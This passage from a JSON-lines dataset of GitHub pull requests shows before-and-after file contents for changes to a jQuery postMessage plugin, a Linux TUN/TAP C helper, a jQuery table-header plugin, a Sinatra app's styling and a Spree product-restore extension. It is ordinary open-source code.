simplicity's sake, only a single callback can be registered\n  // at one time. Passing no params will unbind this event (or stop the polling\n  // loop), and calling this method a second time with another callback will\n  // unbind the event (or stop the polling loop) first, before binding the new\n  // callback.\n  // \n  // Also note that if window.postMessage is available, the optional\n  // source_origin param will be used to test the event.origin property. From\n  // the MDC window.postMessage docs: This string is the concatenation of the\n  // protocol and \"://\", the host name if one exists, and \":\" followed by a port\n  // number if a port is present and differs from the default port for the given\n  // protocol. Examples of typical origins are https://example.org (implying\n  // port 443), http://example.net (implying port 80), and http://example.com:8080.\n  // \n  // Usage:\n  // \n  // > jQuery.receiveMessage( callback [, source_origin ] [, delay ] );\n  // \n  // Arguments:\n  // \n  //  callback - (Function) This callback will execute whenever a <jQuery.postMessage>\n  //    message is received, provided the source_origin matches. If callback is\n  //    omitted, any existing receiveMessage event bind or polling loop will be\n  //    canceled.\n  //  source_origin - (String) If window.postMessage is available and this value\n  //    is not equal to the event.origin property, the callback will not be\n  //    called.\n  //  source_origin - (Function) If window.postMessage is available and this\n  //    function returns false when passed the event.origin property, the\n  //    callback will not be called.\n  //  delay - (Number) An optional zero-or-greater delay in milliseconds at\n  //    which the polling loop will execute (for browser that don't support\n  //    window.postMessage). If omitted, defaults to 100.\n  // \n  // Returns:\n  // \n  //  Nothing!\n  \n  $.receiveMessage = p_receiveMessage = function( callback, source_origin, delay ) {\n    if ( has_postMessage ) {\n      // Since the browser supports window.postMessage, the callback will be\n      // bound to the actual event associated with window.postMessage.\n      \n      if ( callback ) {\n        // Unbind an existing callback if it exists.\n        rm_callback && p_receiveMessage();\n        \n        // Bind the callback. A reference to the callback is stored for ease of\n        // unbinding.\n        rm_callback = function(e) {\n          if ( ( typeof source_origin === 'string' && e.origin !== source_origin )\n            || ( $.isFunction( source_origin ) && source_origin( e.origin ) === FALSE ) ) {\n            return FALSE;\n          }\n          callback( e );\n        };\n      }\n      \n      if ( window[addEventListener] ) {\n        window[ callback ? addEventListener : 'removeEventListener' ]( 'message', rm_callback, FALSE );\n      } else {\n        window[ callback ? 'attachEvent' : 'detachEvent' ]( 'onmessage', rm_callback );\n      }\n      \n    } else {\n      // Since the browser sucks, a polling loop will be started, and the\n      // callback will be called whenever the location.hash changes.\n      \n      interval_id && clearInterval( interval_id );\n      interval_id = null;\n      \n      if ( callback ) {\n        delay = typeof source_origin === 'number'\n          ? source_origin\n          : typeof delay === 'number'\n            ? delay\n            : 100;\n        \n        interval_id = setInterval(function(){\n          var hash = document.location.hash,\n            re = /^#?\\d+&/;\n          if ( hash !== last_hash && re.test( hash ) ) {\n            last_hash = hash;\n            callback({ data: hash.replace( re, '' ) });\n          }\n        }, delay );\n      }\n    }\n  };\n  \n})(jQuery);\n", "jquery.ba-postmessage.min.js": "/*\n * jQuery postMessage - v0.5 - 9/11/2009\n * http://benalman.com/projects/jquery-postmessage-plugin/\n * \n * Copyright (c) 2009 \"Cowboy\" Ben Alman\n * Dual licensed under the MIT and GPL licenses.\n * http://benalman.com/about/license/\n */\n(function($){var g,d,j=1,a,b=this,f=!1,h=\"postMessage\",e=\"addEventListener\",c,i=b[h];$[h]=function(k,l,m){if(!l){return}k=typeof k===\"string\"?k:$.param(k);m=m||parent;if(i){m[h](k,l.replace(/([^:]+:\\/\\/[^\\/]+).*/,\"$1\"))}else{if(l){m.location=l.replace(/#.*$/,\"\")+\"#\"+(+new Date)+(j++)+\"&\"+k}}};$.receiveMessage=c=function(l,m,k){if(i){if(l){a&&c();a=function(n){if((typeof m===\"string\"&&n.origin!==m)||($.isFunction(m)&&m(n.origin)===f)){return f}l(n)}}if(b[e]){b[l?e:\"removeEventListener\"](\"message\",a,f)}else{b[l?\"attachEvent\":\"detachEvent\"](\"onmessage\",a)}}else{g&&clearInterval(g);g=null;if(l){k=typeof m===\"number\"?m:typeof k===\"number\"?k:100;g=setInterval(function(){var o=document.location.hash,n=/^#?\\d+&/;if(o!==d&&n.test(o)){d=o;l({data:o.replace(n,\"\")})}},k)}}}})(jQuery);"}}
{"repo": "sw17ch/tuntap", "pr_number": 2, "title": "adding TUN type", "state": "closed", "merged_at": "2017-04-21T18:43:24Z", "additions": 15, "deletions": 7, "files_changed": ["cbits/help-linux.c"], "files_before": {"cbits/help-linux.c": "#include <stdint.h>\n#include <stdlib.h>\n#include <stdio.h>\n#include <string.h>\n#include <unistd.h>\n#include <fcntl.h>\n#include <errno.h>\n#include <poll.h>\n\n#include <netinet/ip.h>\n\n#include <sys/ioctl.h>\n#include <linux/if.h>\n#include <linux/if_tun.h>\n\n#include \"help.h\"\n\n#define CLEAR(x) \\\n    memset((x), 0, sizeof(*(x)))\n\nstruct tap_desc\n{\n    int32_t      desc;\n    int32_t      sock;\n    struct ifreq ifr;\n};\n\ntap_desc_t * init_tap()\n{\n    return (tap_desc_t *) calloc(1,sizeof(tap_desc_t));\n}\n\nvoid finish_tap(tap_desc_t * td)\n{\n    free(td);\n}\n\nint32_t open_tap(tap_desc_t * td, char * name)\n{\n    char * dev = \"/dev/net/tun\";\n\n    if (0 == td)\n    {\n        return -100;\n    }\n    else if (0 == name)\n    {\n        return -101;\n    }\n\n    int32_t fd = open(dev, O_RDWR);\n\n    if (fd < 0)\n    {\n        fprintf(stderr,\"open(%s): %s\\n\", name, strerror(errno));\n        return -1;\n    }\n    else\n    {\n        td->desc = fd;\n    }\n\n    CLEAR(&(td->ifr));\n\n    td->sock = socket(AF_INET, SOCK_DGRAM, 0);\n    td->ifr.ifr_flags = IFF_TAP | IFF_NO_PI;\n\n    if (*name)\n        strncpy(td->ifr.ifr_name, name, IFNAMSIZ);\n\n    if (ioctl(td->desc, TUNSETIFF, (void *)&td->ifr) < 0)\n    {\n        fprintf(stderr,\"TUNSETIFF: %s\\n\", strerror(errno));\n        return -2;\n    }\n\n    return 0;\n}\n\nint32_t close_tap(tap_desc_t * td)\n{\n    if (0 <= td->desc)\n    {\n        close(td->desc);\n    }\n    if (0 <= td->sock)\n    {\n        close(td->sock);\n    }\n\n    return 0;\n}\n\nint32_t bring_up_tap(tap_desc_t * td)\n{\n    td->ifr.ifr_flags |= (IFF_UP | IFF_RUNNING);\n\n    if (ioctl(td->sock, SIOCSIFFLAGS, &td->ifr) < 0)\n    {\n        fprintf(stderr,\"SIOCSIFFLAGS: %s\\n\", strerror(errno));\n        return -3;\n    }\n\n    return 0;\n}\n\nint32_t set_mtu(tap_desc_t * td, uint32_t mtu)\n{\n    td->ifr.ifr_mtu = mtu;\n\n    if (ioctl(td->sock, SIOCSIFMTU, &td->ifr) < 0)\n    {\n        fprintf(stderr,\"SIOCSIFMTU: %s\\n\", strerror(errno));\n        return -1;\n    }\n\n    return 0;\n}\n\nint32_t set_ip(tap_desc_t * td, uint32_t ip)\n{\n    struct sockaddr_in addr;\n    CLEAR(&addr);\n\n    addr.sin_addr.s_addr = ip;\n    addr.sin_family = AF_INET;\n    memcpy(&td->ifr.ifr_addr, &addr, sizeof(addr));\n\n    if (ioctl(td->sock, SIOCSIFADDR, &td->ifr) < 0)\n    {\n        fprintf(stderr, \"SIOCSIFADDR: %s\\n\", strerror(errno));\n        return -1;\n    }\n\n    return 0;\n}\n\nint32_t set_mask(tap_desc_t * td, uint32_t mask)\n{\n    struct sockaddr_in addr;\n    CLEAR(&addr);\n\n    addr.sin_addr.s_addr = mask;\n    addr.sin_family = AF_INET;\n    memcpy(&td->ifr.ifr_addr, &addr, sizeof(addr));\n\n    if ( ioctl(td->sock, SIOCSIFNETMASK, &td->ifr) < 0)\n    {\n        fprintf(stderr,\"SIOCSIFNETMASK: %s\\n\", strerror(errno));\n        return -1;\n    }\n\n    return 0;\n}\n\nint32_t get_mac(tap_desc_t * td, MACAddr mac)\n{\n    if (ioctl(td->sock, SIOCGIFHWADDR, &td->ifr) < 0)\n    {\n        fprintf(stderr,\"SIOCGIFHWADDR: %s\\n\", strerror(errno));\n        return -1;\n    }\n    else\n    {\n        memcpy(mac,&td->ifr.ifr_hwaddr.sa_data, sizeof(MACAddr));\n    }\n\n    return 0;\n}\n\nint32_t read_tap(tap_desc_t * td, uint8_t * buf, int32_t len)\n{\n    struct pollfd p = { td->desc, POLLIN, 0 };\n\n    int32_t ret = poll(&p, 1, 500);\n\n    if (ret == 0)\n    {\n        return 0;\n    }\n    else if (ret < 0)\n    {\n        fprintf(stderr, \"ERROR: poll returned %d!!!\\n\", ret);\n        return ret;\n    }\n    else if (p.revents | POLLIN)\n    {\n        return read(td->desc,buf,len);\n    }\n    else\n    {\n        fprintf(stderr, \"ERROR: poll returned, it wasn't a timout, and there \"\n                        \"isn't any data to be read!\\n\");\n        return -100;\n    }\n}\n\nint32_t write_tap(tap_desc_t * td, const uint8_t * buf, int32_t len)\n{\n    return write(td->desc,buf,len);\n}\n"}, "files_after": {"cbits/help-linux.c": "#include <stdint.h>\n#include <stdlib.h>\n#include <stdio.h>\n#include <string.h>\n#include <unistd.h>\n#include <fcntl.h>\n#include <errno.h>\n#include <poll.h>\n\n#include <netinet/ip.h>\n\n#include <sys/ioctl.h>\n#include <linux/if.h>\n#include <linux/if_tun.h>\n\n#include \"help.h\"\n\n#define CLEAR(x) \\\n    memset((x), 0, sizeof(*(x)))\n\nstruct tap_desc\n{\n    int32_t      desc;\n    int32_t      sock;\n    struct ifreq ifr;\n};\n\ntap_desc_t * init_tap()\n{\n    return (tap_desc_t *) calloc(1,sizeof(tap_desc_t));\n}\n\nvoid finish_tap(tap_desc_t * td)\n{\n    free(td);\n}\n\nint32_t open_tap(tap_desc_t * td, char * name, int type)\n{\n    char * dev = \"/dev/net/tun\";\n\n    if (0 == td)\n    {\n        return -100;\n    }\n    else if (0 == name)\n    {\n        return -101;\n    }\n\n    int32_t fd = open(dev, O_RDWR);\n\n    if (fd < 0)\n    {\n        fprintf(stderr,\"open(%s): %s\\n\", name, strerror(errno));\n        return -1;\n    }\n    else\n    {\n        td->desc = fd;\n    }\n\n    CLEAR(&(td->ifr));\n\n    td->sock = socket(AF_INET, SOCK_DGRAM, 0);\n    if (type == 0)\n        td->ifr.ifr_flags = IFF_TAP | IFF_NO_PI;\n    else\n        td->ifr.ifr_flags = IFF_TUN | IFF_NO_PI;\n\n    if (*name)\n        strncpy(td->ifr.ifr_name, name, IFNAMSIZ);\n\n    if (ioctl(td->desc, TUNSETIFF, (void *)&td->ifr) < 0)\n    {\n        fprintf(stderr,\"TUNSETIFF: %s\\n\", strerror(errno));\n        return -2;\n    }\n\n    return 0;\n}\n\nint32_t close_tap(tap_desc_t * td)\n{\n    if (0 <= td->desc)\n    {\n        close(td->desc);\n    }\n    if (0 <= td->sock)\n    {\n        close(td->sock);\n    }\n\n    return 0;\n}\n\nint32_t bring_up_tap(tap_desc_t * td)\n{\n    td->ifr.ifr_flags |= (IFF_UP | IFF_RUNNING);\n\n    if (ioctl(td->sock, SIOCSIFFLAGS, &td->ifr) < 0)\n    {\n        fprintf(stderr,\"SIOCSIFFLAGS: %s\\n\", strerror(errno));\n        return -3;\n    }\n\n    return 0;\n}\n\nint32_t set_mtu(tap_desc_t * td, uint32_t mtu)\n{\n    td->ifr.ifr_mtu = mtu;\n\n    if (ioctl(td->sock, SIOCSIFMTU, &td->ifr) < 0)\n    {\n        fprintf(stderr,\"SIOCSIFMTU: %s\\n\", strerror(errno));\n        return -1;\n    }\n\n    return 0;\n}\n\nint32_t set_ip(tap_desc_t * td, uint32_t ip)\n{\n    struct sockaddr_in addr;\n    CLEAR(&addr);\n\n    addr.sin_addr.s_addr = ip;\n    addr.sin_family = AF_INET;\n    memcpy(&td->ifr.ifr_addr, &addr, sizeof(addr));\n\n    if (ioctl(td->sock, SIOCSIFADDR, &td->ifr) < 0)\n    {\n        fprintf(stderr, \"SIOCSIFADDR: %s\\n\", strerror(errno));\n        return -1;\n    }\n\n    return 0;\n}\n\nint32_t set_mask(tap_desc_t * td, uint32_t mask)\n{\n    struct sockaddr_in addr;\n    CLEAR(&addr);\n\n    addr.sin_addr.s_addr = mask;\n    addr.sin_family = AF_INET;\n    memcpy(&td->ifr.ifr_addr, &addr, sizeof(addr));\n\n    if ( ioctl(td->sock, SIOCSIFNETMASK, &td->ifr) < 0)\n    {\n        fprintf(stderr,\"SIOCSIFNETMASK: %s\\n\", strerror(errno));\n        return -1;\n    }\n\n    return 0;\n}\n\nint32_t get_mac(tap_desc_t * td, MACAddr mac)\n{\n    if (ioctl(td->sock, SIOCGIFHWADDR, &td->ifr) < 0)\n    {\n        fprintf(stderr,\"SIOCGIFHWADDR: %s\\n\", strerror(errno));\n        return -1;\n    }\n    else\n    {\n        memcpy(mac,&td->ifr.ifr_hwaddr.sa_data, sizeof(MACAddr));\n    }\n\n    return 0;\n}\n\nint32_t read_tap(tap_desc_t * td, uint8_t * buf, int32_t len)\n{\n    struct pollfd p = { td->desc, POLLIN, 0 };\n\n    int32_t ret = poll(&p, 1, 500);\n\n    if (ret == 0)\n    {\n        return 0;\n    }\n    else if (ret < 0)\n    {\n        fprintf(stderr, \"ERROR: poll returned %d!!!\\n\", ret);\n        return ret;\n    }\n    else if (p.revents | POLLIN)\n    {\n        return read(td->desc,buf,len);\n    }\n    else\n    {\n        fprintf(stderr, \"ERROR: poll returned, it wasn't a timout, and there \"\n                        \"isn't any data to be read!\\n\");\n        return -100;\n    }\n}\n\nint32_t write_tap(tap_desc_t * td, const uint8_t * buf, int32_t len)\n{\n    return write(td->desc,buf,len);\n}\n"}}
{"repo": "asual/jquery-thead", "pr_number": 1, "title": "Check if plugin is defined before running update on $.ajaxComplete", "state": "open", "merged_at": null, "additions": 3, "deletions": 1, "files_changed": ["src/jquery.thead.js"], "files_before": {"src/jquery.thead.js": "/*\n * jQuery Thead Plugin v${version}\n * http://www.asual.com/jquery/thead/\n *\n * Copyright (c) 2009-2010 Rostislav Hristov\n * Dual licensed under the MIT or GPL Version 2 licenses.\n * http://jquery.org/license\n *\n * Date: ${timestamp}\n */\n(function($) {\n    \n    var CLAZZ = 'class',\n        CELLPADDING = 'cellpadding',\n        CELLSPACING = 'cellspacing',\n        _agent = navigator.userAgent, \n        _w = $(window),\n        _d = $(document),\n        _tables = [], \n        _magicNumber = 4,\n        _supported = !($.browser.msie && parseFloat(_agent.substr(_agent.indexOf('MSIE') + _magicNumber)) < 7),\n        _interval = null,\n        _parseInt = function(value) {\n            var result = parseInt(value, 10);\n            return isNaN(result) ? 0 : result;\n        },\n        _scroll = function() {\n            $(_tables).each(function() {\n                var w, s = 'thead tr th, thead tr td', \n                    t = $('table', this.parent().prev()).get(0), \n                    c = $('caption', t),\n                    collapse = $(t).css('border-collapse') == 'collapse',\n                    ths = $(s, t),\n                    offset = _d.scrollTop() - $(t).offset().top + _magicNumber;\n                if (c.length) {\n                    offset -= c.get(0).clientHeight;\n                }\n                $(s, this).each(function(index) {\n                    var th = ths.eq(index).get(0);\n                    w = $(th).css('width');\n                    $(this).css('width', w != 'auto' ? w : th.clientWidth - _parseInt($(th).css('padding-left')) - _parseInt($(th).css('padding-right')) + 'px');\n                });\n                $(this).css({\n                    display: (offset > _magicNumber && offset < t.clientHeight - $('tr:last', t).height() - _magicNumber*2) ? $(t).css('display') : 'none',\n                    left: $(t).offset().left - _d.scrollLeft() + 'px',\n                    width: $(t).get(0).offsetWidth\n                });\n                if (!$.support.boxModel) {\n                    $(this).css({\n                        top: _d.scrollTop()\n                    });\n                }\n            });\n        };\n    \n    $(function() {\n        if (_supported) {\n            _w.scroll(_scroll).resize(function() {\n                if (!_interval) {\n                    _interval = setInterval(function() {\n                        if (_interval) {\n                            _interval = clearInterval(_interval);\n                        }\n                        _scroll();\n                    }, 50);\n                }\n            });\n            $(document).ajaxComplete(function() {\n                $.thead.update();\n            });\n            $('.jquery-thead').thead();\n        }\n    });\n    \n    $.thead = (function () {\n        return {\n            update: function() {\n                $(_tables).each(function() {\n                    var base = $('thead', $('table.jquery-thead, table', this.parent().prev()).get(0));\n                    var local = $('thead', this);\n                    if (local.html() != base.html()) {\n                        local.parent().append(base.clone(true));\n                        local.remove();\n                        _scroll();\n                    }\n                });\n            }\n        };\n    })();\n    \n    $.fn.thead = function() {\n        if (_supported) {\n            $(this).each(function() {\n                var table = this.tagName.toLowerCase() == 'table' ? $(this) : $('table', this), \n                    parent = table.parent(), \n                    thead = $('thead', table);\n                if (thead.length) {\n                    var clazz = table.attr(CLAZZ),\n                        cp = table.attr(CELLPADDING),\n                        cs = table.attr(CELLSPACING);\n                    _tables.push($('<table />').attr(CLAZZ, clazz)\n                            .attr(CELLPADDING, cp ? cp : 1)\n                            .attr(CELLSPACING, cs ? cs : 2)\n                            .css({position: $.support.boxModel ? 'fixed' : 'absolute', top: 0}).appendTo($('<' + parent.get(0).tagName + '/>')\n                                    .attr(CLAZZ, parent.attr(CLAZZ)).insertAfter(parent)).append($(thead).clone(true)));\n                }\n            });\n        }\n        _scroll();\n    };\n    \n})(jQuery);"}, "files_after": {"src/jquery.thead.js": "/*\n * jQuery Thead Plugin v${version}\n * http://www.asual.com/jquery/thead/\n *\n * Copyright (c) 2009-2010 Rostislav Hristov\n * Dual licensed under the MIT or GPL Version 2 licenses.\n * http://jquery.org/license\n *\n * Date: ${timestamp}\n */\n(function($) {\n    \n    var CLAZZ = 'class',\n        CELLPADDING = 'cellpadding',\n        CELLSPACING = 'cellspacing',\n        _agent = navigator.userAgent, \n        _w = $(window),\n        _d = $(document),\n        _tables = [], \n        _magicNumber = 4,\n        _supported = !($.browser.msie && parseFloat(_agent.substr(_agent.indexOf('MSIE') + _magicNumber)) < 7),\n        _interval = null,\n        _parseInt = function(value) {\n            var result = parseInt(value, 10);\n            return isNaN(result) ? 0 : result;\n        },\n        _scroll = function() {\n            $(_tables).each(function() {\n                var w, s = 'thead tr th, thead tr td', \n                    t = $('table', this.parent().prev()).get(0), \n                    c = $('caption', t),\n                    collapse = $(t).css('border-collapse') == 'collapse',\n                    ths = $(s, t),\n                    offset = _d.scrollTop() - $(t).offset().top + _magicNumber;\n                if (c.length) {\n                    offset -= c.get(0).clientHeight;\n                }\n                $(s, this).each(function(index) {\n                    var th = ths.eq(index).get(0);\n                    w = $(th).css('width');\n                    $(this).css('width', w != 'auto' ? w : th.clientWidth - _parseInt($(th).css('padding-left')) - _parseInt($(th).css('padding-right')) + 'px');\n                });\n                $(this).css({\n                    display: (offset > _magicNumber && offset < t.clientHeight - $('tr:last', t).height() - _magicNumber*2) ? $(t).css('display') : 'none',\n                    left: $(t).offset().left - _d.scrollLeft() + 'px',\n                    width: $(t).get(0).offsetWidth\n                });\n                if (!$.support.boxModel) {\n                    $(this).css({\n                        top: _d.scrollTop()\n                    });\n                }\n            });\n        };\n    \n    $(function() {\n        if (_supported) {\n            _w.scroll(_scroll).resize(function() {\n                if (!_interval) {\n                    _interval = setInterval(function() {\n                        if (_interval) {\n                            _interval = clearInterval(_interval);\n                        }\n                        _scroll();\n                    }, 50);\n                }\n            });\n            $(document).ajaxComplete(function() {\n                if ('undefined' != typeof $.thead) {\n                    $.thead.update();\n                }\n            });\n            $('.jquery-thead').thead();\n        }\n    });\n    \n    $.thead = (function () {\n        return {\n            update: function() {\n                $(_tables).each(function() {\n                    var base = $('thead', $('table.jquery-thead, table', this.parent().prev()).get(0));\n                    var local = $('thead', this);\n                    if (local.html() != base.html()) {\n                        local.parent().append(base.clone(true));\n                        local.remove();\n                        _scroll();\n                    }\n                });\n            }\n        };\n    })();\n    \n    $.fn.thead = function() {\n        if (_supported) {\n            $(this).each(function() {\n                var table = this.tagName.toLowerCase() == 'table' ? $(this) : $('table', this), \n                    parent = table.parent(), \n                    thead = $('thead', table);\n                if (thead.length) {\n                    var clazz = table.attr(CLAZZ),\n                        cp = table.attr(CELLPADDING),\n                        cs = table.attr(CELLSPACING);\n                    _tables.push($('<table />').attr(CLAZZ, clazz)\n                            .attr(CELLPADDING, cp ? cp : 1)\n                            .attr(CELLSPACING, cs ? cs : 2)\n                            .css({position: $.support.boxModel ? 'fixed' : 'absolute', top: 0}).appendTo($('<' + parent.get(0).tagName + '/>')\n                                    .attr(CLAZZ, parent.attr(CLAZZ)).insertAfter(parent)).append($(thead).clone(true)));\n                }\n            });\n        }\n        _scroll();\n    };\n    \n})(jQuery);"}}
{"repo": "ivanacostarubio/bartender", "pr_number": 1, "title": "new style base", "state": "closed", "merged_at": "2012-09-08T18:39:50Z", "additions": 426, "deletions": 8, "files_changed": ["app.rb", "public/js/effects.js", "public/stylesheets/styles.css", "styles.css"], "files_before": {"app.rb": "require 'rubygems'\nrequire 'sinatra/base'\nrequire 'slim'\nrequire 'sass'\nrequire 'mongoid'\n\nMongoid.load!(\"config/mongoid.yml\")\n\nSlim::Engine.set_default_options :sections => true\n\nclass App < Sinatra::Base\n\n  set :public, File.join(File.dirname(__FILE__), 'public')\n  set :views, File.join(File.dirname(__FILE__), 'views')\n\n  helpers do\n    def partial(page, options={})\n      haml page, options.merge!(:layout => false)\n    end\n  end\n\n\n  get('/'){ slim :layout}\n\nend\n"}, "files_after": {"app.rb": "require 'rubygems'\nrequire 'sinatra/base'\nrequire 'slim'\nrequire 'sass'\nrequire 'mongoid'\n\nMongoid.load!(\"config/mongoid.yml\")\n\nSlim::Engine.set_default_options :sections => false\n\nclass App < Sinatra::Base\n\n  set :public, File.join(File.dirname(__FILE__), 'public')\n  set :views, File.join(File.dirname(__FILE__), 'views')\n\n  helpers do\n    def partial(page, options={})\n      haml page, options.merge!(:layout => false)\n    end\n  end\n\n\n  get('/') do \n    slim :index\n  end\n\n  get('/styles') do \n    slim :styles\n  end\n\nend\n", "public/js/effects.js": "$(document).ready(function() {\n  /*FORM*/\n  $('input, textarea, select').focusin(function(){\n    if($(this).val() == ''){\n      $(this).parent('.input-placeholder').children('label.label_input').hide();\n    }\n  });\n\n  $('input, textarea, select').focusout(function(){\n    if($(this).val() == ''){\n      $(this).parent('.input-placeholder').children('label.label_input').show();\n    }\n  });\n\n});", "public/stylesheets/styles.css": "/*\nSyntax error: Invalid CSS after \"...nge: background\": expected selector or at-rule, was \": $orange; /* f...\"\n        on line 11 of public/stylesheets/styles.scss\n\n6: $vine: #ac3900;\n7: $white: #ffffff;\n8: $black: #000000;\n9: $lightgrey: #e6e5e5;\n10: $textgrey: #959494;\n11: $gradientorange: background: $orange; /* for non-css3 browsers */\n12: filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='$orange', endColorstr='$orangered'); /* for IE */\n13: background: -webkit-gradient(linear, left top, left bottom, from($orange), to($orangered)); /* for webkit browsers */\n14: background: -moz-linear-gradient(top,  $orange,  $orangered); /* for firefox 3.6+ */ \n15: ;\n16: \n\nBacktrace:\npublic/stylesheets/styles.scss:11\n/Users/bellatrix/.rvm/gems/ruby-1.9.3-p0@bartender/gems/sass-3.2.1/lib/sass/scss/parser.rb:1130:in `expected'\n/Users/bellatrix/.rvm/gems/ruby-1.9.3-p0@bartender/gems/sass-3.2.1/lib/sass/scss/parser.rb:1066:in `expected'\n/Users/bellatrix/.rvm/gems/ruby-1.9.3-p0@bartender/gems/sass-3.2.1/lib/sass/scss/parser.rb:28:in `parse'\n/Users/bellatrix/.rvm/gems/ruby-1.9.3-p0@bartender/gems/sass-3.2.1/lib/sass/engine.rb:342:in `_to_tree'\n/Users/bellatrix/.rvm/gems/ruby-1.9.3-p0@bartender/gems/sass-3.2.1/lib/sass/engine.rb:315:in `_render'\n/Users/bellatrix/.rvm/gems/ruby-1.9.3-p0@bartender/gems/sass-3.2.1/lib/sass/engine.rb:262:in `render'\n/Users/bellatrix/.rvm/gems/ruby-1.9.3-p0@bartender/gems/sass-3.2.1/lib/sass/plugin/compiler.rb:340:in `update_stylesheet'\n/Users/bellatrix/.rvm/gems/ruby-1.9.3-p0@bartender/gems/sass-3.2.1/lib/sass/plugin/compiler.rb:202:in `block in update_stylesheets'\n/Users/bellatrix/.rvm/gems/ruby-1.9.3-p0@bartender/gems/sass-3.2.1/lib/sass/plugin/compiler.rb:200:in `each'\n/Users/bellatrix/.rvm/gems/ruby-1.9.3-p0@bartender/gems/sass-3.2.1/lib/sass/plugin/compiler.rb:200:in `update_stylesheets'\n/Users/bellatrix/.rvm/gems/ruby-1.9.3-p0@bartender/gems/sass-3.2.1/lib/sass/plugin/compiler.rb:298:in `block in watch'\n/Users/bellatrix/.rvm/gems/ruby-1.9.3-p0@bartender/gems/sass-3.2.1/vendor/listen/lib/listen/multi_listener.rb:86:in `call'\n/Users/bellatrix/.rvm/gems/ruby-1.9.3-p0@bartender/gems/sass-3.2.1/vendor/listen/lib/listen/multi_listener.rb:86:in `on_change'\n/Users/bellatrix/.rvm/gems/ruby-1.9.3-p0@bartender/gems/sass-3.2.1/vendor/listen/lib/listen/multi_listener.rb:95:in `block in initialize_adapter'\n/Users/bellatrix/.rvm/gems/ruby-1.9.3-p0@bartender/gems/sass-3.2.1/vendor/listen/lib/listen/adapters/polling.rb:55:in `call'\n/Users/bellatrix/.rvm/gems/ruby-1.9.3-p0@bartender/gems/sass-3.2.1/vendor/listen/lib/listen/adapters/polling.rb:55:in `poll'\n/Users/bellatrix/.rvm/gems/ruby-1.9.3-p0@bartender/gems/sass-3.2.1/vendor/listen/lib/listen/adapters/polling.rb:31:in `block in start'\n*/\nbody:before {\n  white-space: pre;\n  font-family: monospace;\n  content: \"Syntax error: Invalid CSS after \\\"...nge: background\\\": expected selector or at-rule, was \\\": $orange; /* f...\\\"\\A         on line 11 of public/stylesheets/styles.scss\\A \\A 6: $vine: #ac3900;\\A 7: $white: #ffffff;\\A 8: $black: #000000;\\A 9: $lightgrey: #e6e5e5;\\A 10: $textgrey: #959494;\\A 11: $gradientorange: background: $orange; /* for non-css3 browsers */\\A 12: filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='$orange', endColorstr='$orangered'); /* for IE */\\A 13: background: -webkit-gradient(linear, left top, left bottom, from($orange), to($orangered)); /* for webkit browsers */\\A 14: background: -moz-linear-gradient(top,  $orange,  $orangered); /* for firefox 3.6+ */ \\A 15: ;\\A 16: \"; }\n", "styles.css": "body\n:background black\nh1, h2, h3, h4 {\n  font-family: \"HelveticaNeue-Light\", \"Helvetica Neue Light\", \"Helvetica Neue\", Helvetica, Arial, \"Lucida Grande\", sans-serif;\n  font-weight: lighter;\n  font-size: 80px; }\n"}}
{"repo": "recruitmilitary/spree-product-expiration", "pr_number": 1, "title": "Added product restoration functionality", "state": "closed", "merged_at": null, "additions": 45, "deletions": 3, "files_changed": ["config/routes.rb", "lib/product_expiration.rb", "lib/spree_product_expiration.rb", "lib/spree_product_expiration_hooks.rb"], "files_before": {"config/routes.rb": "Rails.application.routes.draw do\n  # Add your extension routes here\nend\n", "lib/product_expiration.rb": "module ProductExpiration\n  def self.included(base)\n    base.named_scope :not_deleted, lambda { { :conditions => [\"(deleted_at IS NULL OR deleted_at > ?)\", Time.now.utc.to_s(:db)] } }\n    base.class_eval do\n      def deleted?\n        deleted_at && deleted_at <= Time.now\n      end\n    end\n  end\nend\n", "lib/spree_product_expiration.rb": "require 'spree_core'\nrequire 'spree_product_expiration_hooks'\n\nmodule SpreeProductExpiration\n  class Engine < Rails::Engine\n\n    config.autoload_paths += %W(#{config.root}/lib)\n\n    def self.activate\n      Dir.glob(File.join(File.dirname(__FILE__), \"../app/**/*_decorator*.rb\")) do |c|\n        Rails.env.production? ? require(c) : load(c)\n      end\n      Product.send(:include, ProductExpiration)\n    end\n\n    config.to_prepare &method(:activate).to_proc\n  end\nend\n", "lib/spree_product_expiration_hooks.rb": "class SpreeProductExpirationHooks < Spree::ThemeSupport::HookListener\n  # custom hooks go here\nend"}, "files_after": {"config/routes.rb": "Rails.application.routes.draw do\n  # Add your extension routes here\n  namespace :admin do\n    resources :products do\n      get 'restore', :on => :member \n    end\n  end\nend\n", "lib/product_expiration.rb": "module ProductExpiration\n  def self.included(base)\n    base.named_scope :not_deleted, lambda { { :conditions => [\"(products.deleted_at IS NULL OR products.deleted_at > ?)\", Time.now.utc.to_s(:db)] } }\n    base.class_eval do\n      def deleted?\n        deleted_at && deleted_at <= Time.now\n      end\n    end\n  end\nend\nmodule ProductExpirationController\n  def restore\n    @product = Product.find_by_permalink(params[:id])\n    @product.deleted_at = nil\n    \n    if @product.save\n      self.notice = I18n.t(\"notice_messages.product_restored\")\n    else\n      self.notice = I18n.t(\"notice_messages.product_not_restored\")\n    end\n\n    redirect_to edit_admin_product_url(@product)\n  end\nend\n", "lib/spree_product_expiration.rb": "require 'spree_core'\nrequire 'spree_product_expiration_hooks'\n\nmodule SpreeProductExpiration\n  class Engine < Rails::Engine\n\n    config.autoload_paths += %W(#{config.root}/lib)\n\n    def self.activate\n      Dir.glob(File.join(File.dirname(__FILE__), \"../app/**/*_decorator*.rb\")) do |c|\n        Rails.env.production? ? require(c) : load(c)\n      end\n      Product.send(:include, ProductExpiration)\n      Admin::ProductsController.send(:include, ProductExpirationController)\n\n      Admin::BaseHelper.class_eval do\n        def link_to_restore(resource, options = {})\n          link_to_with_icon('restore', t(\"restore\"), restore_admin_product_url(resource))\n        end\n      end\n    end\n\n    config.to_prepare &method(:activate).to_proc\n  end\nend\n", "lib/spree_product_expiration_hooks.rb": "class SpreeProductExpirationHooks < Spree::ThemeSupport::HookListener\n  # custom hooks go here\n  insert_after :admin_product_form_right, 'admin/products/expiration'\n  insert_before :admin_products_index_row_actions, 'admin/products/restore_link'\nend\n"}}
